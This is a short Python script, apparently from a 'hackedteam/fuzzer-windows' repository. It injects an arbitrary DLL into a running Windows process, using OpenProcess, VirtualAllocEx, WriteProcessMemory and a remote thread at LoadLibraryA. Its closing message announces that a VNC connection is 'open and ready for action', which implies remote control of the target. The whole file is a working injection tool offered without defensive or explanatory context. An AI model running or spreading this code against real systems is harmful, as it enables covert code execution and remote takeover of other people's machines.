hackedteam/fuzzer-windows

import sys
from ctypes import *

PAGE_READWRITE     =     0x04
PROCESS_ALL_ACCESS =     ( 0x000F0000 | 0x00100000 | 0xFFF )
VIRTUAL_MEM        =     ( 0x1000 | 0x2000 )

kernel32 = windll.kernel32
pid      = sys.argv[1]
dll_path = sys.argv[2]
dll_len  = len(dll_path)

# Get a handle to the process we are injecting into.
h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) )

if not h_process:

    print "[*] Couldn't acquire a handle to PID: %s" % pid
    sys.exit(0)


# Allocate some space for the DLL path
arg_address = kernel32.VirtualAllocEx( h_process, 0, dll_len, VIRTUAL_MEM, PAGE_READWRITE)

# Write the DLL path into the allocated space
written = c_int(0)
kernel32.WriteProcessMemory(h_process, arg_address, dll_path, dll_len, byref(written))

# We need to resolve the address for LoadLibraryA
h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll")
h_loadlib  = kernel32.GetProcAddress(h_kernel32,"LoadLibraryA")

# Now we try to create the remote thread, with the entry point set
# to LoadLibraryA and a pointer to the DLL path as it's single parameter
thread_id = c_ulong(0)

if not kernel32.CreateRemoteThread(h_process,None,0,h_loadlib,arg_address,0,byref(thread_id)):

    print "[*] Failed to inject the DLL. Exiting."
    sys.exit(0)


print "[*] Remote thread successfully created with a thread ID of: 0x%08x" % thread_id.value
print "[*] VNC Connection now open and ready for action...."